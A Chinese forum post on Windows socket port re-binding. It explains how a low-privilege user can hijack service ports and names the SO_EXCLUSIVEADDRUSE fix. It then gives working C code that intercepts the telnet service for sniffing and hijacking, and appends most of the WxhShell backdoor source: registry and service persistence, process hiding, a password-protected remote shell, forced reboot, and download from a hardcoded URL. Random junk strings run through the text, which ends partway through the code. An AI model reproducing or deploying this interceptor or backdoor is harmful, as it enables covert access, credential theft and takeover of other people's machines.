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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: EnJ!mr  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 41yOXy ;~l  
\|t{e8}  
  saddr.sin_family = AF_INET; f4"4ZVcr  
pj; I)-d/  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 6t7fa<  
vq>l>as9O  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); b\giJ1NJB  
R=M!e<'  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 / M@ PO"  
:YNp8!?T?  
  这意味着什么?意味着可以进行如下的攻击: 74f9|~%  
LT_iS^&1  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 *_"u)<J  
3sbK7,4  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) {G*OR,HN  
d!V$Y}n  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 j?-R]^-5  
7&+Ys  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ,2,5Odrz  
[@G`Afaf  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 " U8S81'  
^npJUa  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 cp%ii'  
;GOz>pg  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 *7RvHHf  
nIBFk?)6  
  #include h}&b+ 1{X  
  #include ]tY:,Mfs  
  #include Cv^`&\[SW+  
  #include    6ep>hS4A&  
  DWORD WINAPI ClientThread(LPVOID lpParam);   tsv$r$Se  
  int main() Lgi[u"Du  
  { _~M^ uW^l  
  WORD wVersionRequested; wC` R>)  
  DWORD ret; 1mH\k5xu  
  WSADATA wsaData; SlaDt  
  BOOL val; CDdkoajBa  
  SOCKADDR_IN saddr; A'-_TFwW  
  SOCKADDR_IN scaddr; !p[`IWZ  
  int err; op@i GC+  
  SOCKET s; _^\$" nw  
  SOCKET sc; ][7p+IsB  
  int caddsize; F]_cbM{8/  
  HANDLE mt; v(O=IUa  
  DWORD tid;   `hrQw)5?r  
  wVersionRequested = MAKEWORD( 2, 2 ); cdTsRS;E  
  err = WSAStartup( wVersionRequested, &wsaData ); XsL#;a C  
  if ( err != 0 ) { Vmi{X b]<  
  printf("error!WSAStartup failed!\n"); ~uj;qq  
  return -1; ln<]-)&C  
  } VKW|kU7Cs$  
  saddr.sin_family = AF_INET; }}T,W.#%u  
   Jpj!rXTX*  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 W?z#pV+jt  
zp4W'8  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); '\~^TFi  
  saddr.sin_port = htons(23); 0LL c 1t>}  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *#&*`iJ(  
  { r;m`9,RW  
  printf("error!socket failed!\n"); |vILp/"9=W  
  return -1; %*W<vu>H  
  } <Kt3PyF  
  val = TRUE; >M;u*Go`QO  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 g^~Kze  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) tju|UhP3  
  { &`!^Zq vG  
  printf("error!setsockopt failed!\n"); +  WDq =S  
  return -1; [j9E pi(  
  } (^n*Am;zlH  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 51xk>_Hm}|  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 #T3 h}=  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 :&w{\-0{  
jbte *Ae  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) n$["z w  
  { +j[oEI`e  
  ret=GetLastError(); B0Xl+JIR#  
  printf("error!bind failed!\n"); I021p5h|  
  return -1; nH[+n `{o  
  }  ux-CpI  
  listen(s,2); * fc-gAj  
  while(1) kB P*K  
  { )S@jDaU<  
  caddsize = sizeof(scaddr); :`Az/U[  
  //接受连接请求 K_/B?h  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); {nMAm/kyj  
  if(sc!=INVALID_SOCKET) Es'Um,ku  
  { XFqJ 'R  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); '0t-]NAc  
  if(mt==NULL) [aqu }Su  
  { }e]f  
  printf("Thread Creat Failed!\n"); 39TT{>?`w  
  break; O'DW5hBL0  
  } uCP>y6I  
  } rrBAQY|.  
  CloseHandle(mt); Mz=!w]qDH  
  } HOi C  
  closesocket(s); E]} n(  
  WSACleanup(); A74920X`W  
  return 0; ,|T7hTn=  
  }   -yx/7B5@  
  DWORD WINAPI ClientThread(LPVOID lpParam) nU z7|y  
  { NgZUnh3{  
  SOCKET ss = (SOCKET)lpParam; !<\Br  
  SOCKET sc; v"Jgw;3  
  unsigned char buf[4096]; W WG /k17  
  SOCKADDR_IN saddr; pW?& J>\6  
  long num; .[s2zI  
  DWORD val; fI|[Z+"  
  DWORD ret; f4('gl9  
  //如果是隐藏端口应用的话,可以在此处加一些判断 5g ;ac~g  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   d/,E2i{I7  
  saddr.sin_family = AF_INET; 8cxai8  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); NAFsFngqH  
  saddr.sin_port = htons(23); 8cWZ"v  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) p@Q5b}xCG_  
  { @gfDp<  
  printf("error!socket failed!\n"); ]!{y a8  
  return -1; K k[`dR;  
  } @y|_d  
  val = 100; sz95i|@/  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /SR^C$h'I  
  { " Ar*QJ0]  
  ret = GetLastError(); !K0JV|-?t  
  return -1; C;rG]t^%  
  } KFWJ}pNq  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +a+`Z>  
  { Ob<W/-%5tH  
  ret = GetLastError(); GA3sRFZdQ  
  return -1; =U-r*sGLN  
  } )Hw:E71h2  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) UWXm?v2j  
  { 7"v$- Wy  
  printf("error!socket connect failed!\n"); EeQ5vqU  
  closesocket(sc); yJ2B3i@T 4  
  closesocket(ss); JBX[bx52<r  
  return -1; dZ(|uC!?  
  } 4dh+  
  while(1) 8<#U9]  
  { 3:CO{=`\7B  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 +Ov2`O8?  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 % 4 ~l  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 :`,3h%  
  num = recv(ss,buf,4096,0); ${&5]!E[>D  
  if(num>0) m}Y0xV9  
  send(sc,buf,num,0); ` $5UHa2/  
  else if(num==0) sq0 PBEqq  
  break; <G3&z#]#4  
  num = recv(sc,buf,4096,0); uOi&G:=  
  if(num>0) `S/wJ'c  
  send(ss,buf,num,0); r.3KPiYK  
  else if(num==0) /.Jb0h[W1  
  break; fP-|+Ty O  
  } dE=Ue#1U@5  
  closesocket(ss); )ZR+lX }  
  closesocket(sc);  Qo0H  
  return 0 ; r0dDHj~F  
  } lX!`zy{3k  
6j9)/H P  
c+' =hR[  
========================================================== }ZOFYu0f  
@ GDX7TPV  
下边附上一个代码,,WXhSHELL H=MCjh&$q  
=_TaA(79  
========================================================== i8pU|VpA  
{U11^w1"3  
#include "stdafx.h" b\55,La  
Jobiq]|>  
#include <stdio.h> \x\ 5D^Vc  
#include <string.h> MBr:?PE7  
#include <windows.h> pd@;b5T  
#include <winsock2.h> *TdnB'Gd  
#include <winsvc.h> 4&^9Wklj  
#include <urlmon.h> j . A6S`  
e]>ori 8  
#pragma comment (lib, "Ws2_32.lib") \' li  
#pragma comment (lib, "urlmon.lib") akuJz  
R MYP"  
#define MAX_USER   100 // 最大客户端连接数 -e@!  
#define BUF_SOCK   200 // sock buffer 3tS~:6-/  
#define KEY_BUFF   255 // 输入 buffer GUB`|is^  
bha?eN  
#define REBOOT     0   // 重启 OyG"1F  
#define SHUTDOWN   1   // 关机 \l#>dq"Y  
'_0]vupvY  
#define DEF_PORT   5000 // 监听端口 ?(zoTxD  
#=e;?w  
#define REG_LEN     16   // 注册表键长度 c9Es%@]  
#define SVC_LEN     80   // NT服务名长度 =([av7  
f^Bc  
// 从dll定义API dfj\RIV8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9l/EjF^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); adEJk  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); q 2? X"!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); I*[tMzE  
V9 }t0$LN  
// wxhshell配置信息 |1= !;.#  
struct WSCFG { T6 #"8qz<  
  int ws_port;         // 监听端口 'W. V r4  
  char ws_passstr[REG_LEN]; // 口令 v6a]1B   
  int ws_autoins;       // 安装标记, 1=yes 0=no vq'c@yw;  
  char ws_regname[REG_LEN]; // 注册表键名 UH`hOJ?  
  char ws_svcname[REG_LEN]; // 服务名 jdqj=Yc  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ctmQWrk|B  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 u62)QJE  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }odV_WT  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |01?w|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" bMoAD.}  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 d}I (`%%)  
(zo^Nn9VJ  
}; b B  
M~T.n)x2  
// default Wxhshell configuration $A\m>*@  
struct WSCFG wscfg={DEF_PORT, ekSY~z=/u  
    "xuhuanlingzhe", i^z`"3#LE  
    1, P1zK2sL_  
    "Wxhshell", !E\[SjY@J  
    "Wxhshell", b%(6EiUA  
            "WxhShell Service", Zy"=y+e!E;  
    "Wrsky Windows CmdShell Service", tB(4Eq \  
    "Please Input Your Password: ", WT3gNNx|  
  1, ),^eA  
  "http://www.wrsky.com/wxhshell.exe", 6iezLG 5  
  "Wxhshell.exe" ;-mdi/*g  
    }; 1'w:`/_  
!|wzf+V  
// 消息定义模块 eOl KbJU  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |?m` xO  
char *msg_ws_prompt="\n\r? for help\n\r#>"; tOdT[&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /ONV5IkPy  
char *msg_ws_ext="\n\rExit."; :Waox"#=g  
char *msg_ws_end="\n\rQuit."; !3&kQpF  
char *msg_ws_boot="\n\rReboot..."; 8|1^|B(l  
char *msg_ws_poff="\n\rShutdown..."; 8s}J!/2  
char *msg_ws_down="\n\rSave to "; zi]%Zp  
jh ez  
char *msg_ws_err="\n\rErr!"; =ZYThfAEw  
char *msg_ws_ok="\n\rOK!"; N"5fmY<  
+54aO  
char ExeFile[MAX_PATH]; Tt# bg1  
int nUser = 0; D@Da0  
HANDLE handles[MAX_USER]; J@"utY6N  
int OsIsNt; t@zdm y  
'w/qcD-  
SERVICE_STATUS       serviceStatus; "`tXA  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0Dv JZ|e  
!-]C;9 Zd  
// 函数声明 P8yIegPY  
int Install(void); nn~YK  
int Uninstall(void); C"<s/h  
int DownloadFile(char *sURL, SOCKET wsh); TvhJVVQ+?  
int Boot(int flag); N0TeqOi4Y  
void HideProc(void); Iq5pAHm>M6  
int GetOsVer(void); q ojXrSb"y  
int Wxhshell(SOCKET wsl); w; TkkDH  
void TalkWithClient(void *cs); NC23Z0y  
int CmdShell(SOCKET sock); '%iPVHK7  
int StartFromService(void); )6oGF>o>  
int StartWxhshell(LPSTR lpCmdLine); 5a`%)K  
|WQ9a' '  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); O_,O,1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); E$\~lcq  
z5cYyx r>  
// 数据结构和表定义 &k>aP0k"  
SERVICE_TABLE_ENTRY DispatchTable[] = j.?:Gaab?#  
{ w_-+o^  
{wscfg.ws_svcname, NTServiceMain}, 2OBfHO~D  
{NULL, NULL} m9$:9yRm  
}; D9ufoa&ua  
#B}?Zg  
// 自我安装 a=]W zlz  
int Install(void) BR_TykP  
{ D#rrW?-z  
  char svExeFile[MAX_PATH]; C*~aSl7  
  HKEY key; )$M,Ul  
  strcpy(svExeFile,ExeFile); 5mB]N%rfW%  
i2,U,>.  
// 如果是win9x系统,修改注册表设为自启动 1JS2SxF  
if(!OsIsNt) { 7!V @/S}7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z| 6{T  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d.F)9h]XHO  
  RegCloseKey(key); !XE aF]8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &_-](w`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); LK7Xw3  
  RegCloseKey(key); , |E$'  
  return 0; ^QL 877  
    } -AD2I {C  
  } |Ur"za;%@  
} D0bnN1VP  
else { n]? WCG}cd  
S q@H  
// 如果是NT以上系统,安装为系统服务 w<nv!e?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); rzLd"`  
if (schSCManager!=0) gSi5u# }J  
{ HMQI&Lh=U  
  SC_HANDLE schService = CreateService Pe^ !$  
  ( i?}>.$j  
  schSCManager, UsW5d]i}Y  
  wscfg.ws_svcname, K'b*A$5o  
  wscfg.ws_svcdisp, L4' [XcY  
  SERVICE_ALL_ACCESS, [Eq<":)  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , d "<F!?8  
  SERVICE_AUTO_START, [s6C ZcL  
  SERVICE_ERROR_NORMAL, 7!4V >O8@  
  svExeFile, F 1W+o?B  
  NULL, )c<6Sfp^B  
  NULL, aq>?vti1D  
  NULL, M@7Xp)S"  
  NULL, Ej(2w Q  
  NULL v548ysE)  
  ); 5G*II_j  
  if (schService!=0) m#@_8_ M  
  { hl/itSl$  
  CloseServiceHandle(schService); DguB  
  CloseServiceHandle(schSCManager); !q /5yEJ>h  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); WStnzVe  
  strcat(svExeFile,wscfg.ws_svcname); T 1Cs>#)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { M}FWBs'*|  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); "Ai6<:ml  
  RegCloseKey(key); 1"E\C/c  
  return 0; F+aQ $pQ  
    } wyQb5n2`;~  
  } V'wi^gq  
  CloseServiceHandle(schSCManager); K&`Awv  
} wK5_t[[  
} }[=YU%[o:  
ej[Su  
return 1; W'$kZ/%[  
} iD_T P  
NB)t7/Us  
// 自我卸载 F? ]N8W  
int Uninstall(void) g:~+P e  
{ TipHV;|e  
  HKEY key; Z7#7N wy4  
Os&1..$Nb  
if(!OsIsNt) { o}D![/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9YKDguG  
  RegDeleteValue(key,wscfg.ws_regname); kK[duW =6  
  RegCloseKey(key); Da,Tav%b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "kSwa16O  
  RegDeleteValue(key,wscfg.ws_regname); d<T%`:s<  
  RegCloseKey(key); \lr/;-zP  
  return 0; __\P`S_  
  } h7W}OF_=y  
} *o4%ul\3Y|  
} A~71i&  
else { ZgYZwc&-  
 rz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); hPO>,j^  
if (schSCManager!=0) >4)g4~'n!  
{ Rt4di^v  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); KTmaglgp  
  if (schService!=0) Bymny>.M  
  { WYO\'W  
  if(DeleteService(schService)!=0) { Y3o Mh,  
  CloseServiceHandle(schService); i?>Hr|  
  CloseServiceHandle(schSCManager); *\q8BZ  
  return 0; MUwVG>b8J~  
  } AzjMv6N   
  CloseServiceHandle(schService); h}6_ybmZ  
  } tgN92Q.i6T  
  CloseServiceHandle(schSCManager); #5{sglC"|F  
} Z3;=w%W  
} YmDn+VIg  
H@W0gK(cS;  
return 1; V5s& hZZYa  
} b(&] >z  
L8P 36]>  
// 从指定url下载文件 bXvbddu)}  
int DownloadFile(char *sURL, SOCKET wsh) wRbw  
{ BjZ>hhs!*  
  HRESULT hr; fv ?45f  
char seps[]= "/"; R}k69-1vL  
char *token; a<p %hY3  
char *file; _S5gcPcF"  
char myURL[MAX_PATH]; V/-MIH7SF  
char myFILE[MAX_PATH]; cjT[P"5$  
sp{j!NSL  
strcpy(myURL,sURL); `o-*Tr  
  token=strtok(myURL,seps); 6\`DlUn'*  
  while(token!=NULL) .mt^m   
  { }su6izx  
    file=token; s=/^lOOO  
  token=strtok(NULL,seps); rw*M&qg!z  
  } t-EV h~D1p  
Q \WXi  
GetCurrentDirectory(MAX_PATH,myFILE); VM;g +RRq  
strcat(myFILE, "\\"); e6m1NH4,  
strcat(myFILE, file); f\'G`4e  
  send(wsh,myFILE,strlen(myFILE),0); `.8-cz  
send(wsh,"...",3,0); PP4d?+;V  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5"2@NL  
  if(hr==S_OK) =1Sy@MbH3  
return 0; MB O,\t.  
else ;tr)=)q &  
return 1; Rp4FXR jC  
gMay  
} 9:\A7 =  
pn*d[M|k  
// 系统电源模块  2}!R T  
int Boot(int flag) iiN?\OO^~  
{ sL mW\\kA>  
  HANDLE hToken; bL MkPty  
  TOKEN_PRIVILEGES tkp; $Sw,hb  
T#N80BH[  
  if(OsIsNt) { Nuq(4Yf1W  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); zKMv7;s?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !PI0oh  
    tkp.PrivilegeCount = 1; !qS05  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +{^'i P  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $w`veP  
if(flag==REBOOT) { 5~yQ>h  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) d'q&Lq  
  return 0; `\e'K56W6  
} 4w9F+*-  
else { Gl"wEL*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) )u Qvt-  
  return 0; ChVY Vx(  
} i6A$1(:h  
  } oVreP  
  else { e sGlMq  
if(flag==REBOOT) { o{g@Nk'f  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) VLx T"]f  
  return 0; iz(m3k:w  
}  %|bN@@  
else { 7_7xL(F/  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9JXhHAxD  
  return 0; `>y[wa>9r  
} 8(uw0~GO  
} K)N)IZ1q  
_-(z@  
return 1; 1"d\ mE  
} +>^[W~[2  
Ga?UHw~  
// win9x进程隐藏模块 \CDAFu#  
void HideProc(void) 7s!AH yZ  
{ ec#_olG%  
c%b\CP\)W  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); du8!3I  
  if ( hKernel != NULL ) %Au T8  
  { nE^wxtY  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); k=FcPF"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); pBvo M={2!  
    FreeLibrary(hKernel); W*3o|x   
  } DWdLA~'t  
JqQ3C}z  
return; a0)vvo=bz  
} &!4( 0u  
tRkrV]K  
// 获取操作系统版本 ~V!EtZG$  
int GetOsVer(void) v(a9#bMZU  
{ PQQgDtiH  
  OSVERSIONINFO winfo; ?'T"?b<  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 01-p `H+  
  GetVersionEx(&winfo); Q.<giBh  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) D8a)(wm  
  return 1; Fz{o-4  
  else 2-p8rGI_F  
  return 0; .5Q5\qc=  
} #qPV Qt  
+$'e4EwqV  
// 客户端句柄模块 7Y4%R`9H  
int Wxhshell(SOCKET wsl) p-a]"l+L  
{ Q-:Ah:/  
  SOCKET wsh; _AVy:~/  
  struct sockaddr_in client; +V6j`  
  DWORD myID; rknzo]N,  
MG;4M>H  
  while(nUser<MAX_USER) IM$ 'J  
{ LxIuxt=X|p  
  int nSize=sizeof(client); 7jhl0  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); T3 =)F%  
  if(wsh==INVALID_SOCKET) return 1; o:h)~[n|  
byp.V_a}/  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); W5TqC  
if(handles[nUser]==0) #cR57=M}  
  closesocket(wsh); twAw01".  
else p0"BO4({{  
  nUser++; U9bFUK/z  
  } kVy"+ZebK  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); FW/6{tm  
1a \=0=[  
  return 0; M_yZR^;^-  
} {c.}fyN  
6ch@Be5*  
// 关闭 socket VOD1xWrb  
void CloseIt(SOCKET wsh) qdKh6{  
{ 7&#'c8]/qh  
closesocket(wsh); Ty)gPh6O  
nUser--; no eb f  
ExitThread(0); jc3ExOH  
} |L*6x S[  
9 Wxq)  
// 客户端请求句柄 ytg7p5{!i  
void TalkWithClient(void *cs) .0 rJIO  
{ c"6Kd$?M  
$XU-[OF%:9  
  SOCKET wsh=(SOCKET)cs; ^!N;F"  
  char pwd[SVC_LEN]; Vx0MG{vG1  
  char cmd[KEY_BUFF]; 7MR:X#2v>  
char chr[1]; :k Rv  
int i,j; !$g(&  
avF&F  
  while (nUser < MAX_USER) { f:)]FHPB1  
QSO5 z2|  
if(wscfg.ws_passstr) { 0;. e#(`-  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e&r+w!  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); CR} >  
  //ZeroMemory(pwd,KEY_BUFF); u0<d2Y  
      i=0; 3 ATN?V@  
  while(i<SVC_LEN) { #u!y`lek  
@Z"QA!OK~c  
  // 设置超时 w;yar=n  
  fd_set FdRead; :/n ?4K^  
  struct timeval TimeOut; 0tn7Rkiw  
  FD_ZERO(&FdRead); Lqy|DJ%  
  FD_SET(wsh,&FdRead); gEX:S(1 QP  
  TimeOut.tv_sec=8; qdg= Imx  
  TimeOut.tv_usec=0; bvt-leA=  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); r>n8`W  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1 8l~4"|fk  
fSm?27_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {FrHm  
  pwd=chr[0]; T1Ln)CS?9  
  if(chr[0]==0xd || chr[0]==0xa) { 1KfJl S+  
  pwd=0; -Hl\j (D7  
  break; pZNlcB[Qn-  
  } P7M0Ce~iW  
  i++; ^v()iF !  
    } &@Ji+  
'eTpcrS3  
  // 如果是非法用户,关闭 socket dA3`b*nC  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /jn:e"0~  
} 2b vYF ;<r  
6PVlZ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4jI*Y6Wkz  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^;v.ytO*  
476M` gA  
while(1) { >-o?S O(M,  
_A# x&<c  
  ZeroMemory(cmd,KEY_BUFF); ;1Tpzm  
5Lo==jHif  
      // 自动支持客户端 telnet标准   Y D1g]p  
  j=0; TU^tW  
  while(j<KEY_BUFF) { QZeb+r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (]GY.(F{  
  cmd[j]=chr[0]; `qQQQ.K7)z  
  if(chr[0]==0xa || chr[0]==0xd) { +#2@G}j  
  cmd[j]=0; y2d_b/  
  break; Tg}H < T  
  } '8iv?D5M  
  j++; >Kqj{/SWK  
    } J[Ylo&w3  
s?z=q%-p  
  // 下载文件 oWn_3gzw;  
  if(strstr(cmd,"http://")) { D0"yZp}  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #&HarBxx  
  if(DownloadFile(cmd,wsh)) )xXrs^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ./z"P]$  
  else *HfW(C$  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }T&;*ww  
  } 0Mzc1dG:  
  else { }pU!1GsO  
`^@g2c+d  
    switch(cmd[0]) { 4%Wn}@  
  h_}BmJh_  
  // 帮助 ?7uStqa  
  case '?': { YV>VA<c  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); M 2U@gC|{  
    break; IT{.^rP  
  } iKCTYXN1(  
  // 安装 .,(uoK{  
  case 'i': { S -mzxj  
    if(Install()) %[31ZFYB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o Q!g!xz  
    else uc{Qhw!;:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7kew/8-  
    break; s`7 _J9  
    } F'T= Alf  
  // 卸载 A1&>L9nUx  
  case 'r': { 7Ohu$5\  
    if(Uninstall()) L< nkI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); blQzVp-  
    else m$G?e 9{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2v; 7ohK  
    break; D=Yag!1  
    } Y_TL4  
  // 显示 wxhshell 所在路径 &bRxy`ZH  
  case 'p': { % /wP2O<  
    char svExeFile[MAX_PATH]; 0zk T8'v  
    strcpy(svExeFile,"\n\r"); c&iK+qvh{  
      strcat(svExeFile,ExeFile); 4FP~+  
        send(wsh,svExeFile,strlen(svExeFile),0); |'>E};D  
    break; _S7M5{U_  
    } clU3#8P!=  
  // 重启 9jJ/ RXp  
  case 'b': { JCMEhI6d*  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Z~.]ZWj -  
    if(Boot(REBOOT)) E;+OD&|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1Tk\n  
    else { Yi! >8  
    closesocket(wsh); GF,|;)ly  
    ExitThread(0); z jNjmC!W  
    } 6d?2{_},  
    break; c$UpR"+  
    }  ]9l%  
  // 关机 `0i}}Zo  
  case 'd': { oew]ijnB  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;),O*Z|"v  
    if(Boot(SHUTDOWN)) M%dl?9pbq  
